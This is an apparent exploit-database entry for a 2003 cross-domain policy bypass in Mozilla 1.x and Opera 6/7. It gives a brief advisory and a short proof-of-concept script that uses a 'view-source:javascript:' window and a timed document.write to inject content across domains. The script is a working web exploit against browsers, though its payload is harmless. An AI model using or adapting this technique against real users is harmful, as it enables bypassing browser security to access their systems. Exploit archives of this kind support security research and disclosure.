Mozilla 1.x / opera 6/7 - Timed document.write Method Cross Domain Policy
Author: meme-boi
type: remote
platform: multiple
port:
date_added: 2003-06-07
date_updated: 2012-11-16
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/7847/info
It has been reported that under some circumstances, it is possible violate the cross-domain restriction of browser security. Because of this, an attacker may be able to execute a file across domains and in the local security zone, giving an attacker unintended access to a system. Symantec has not been able to verify the claims.
<script>
function werd()
{
a.document.open();
a.document.write("<h1>werd</h1>");
a.document.close();
}
function winopen() {
a=window.open("view-source:javascript:location='http://www.example.com';");
setTimeout('werd()',23000);
}
</script>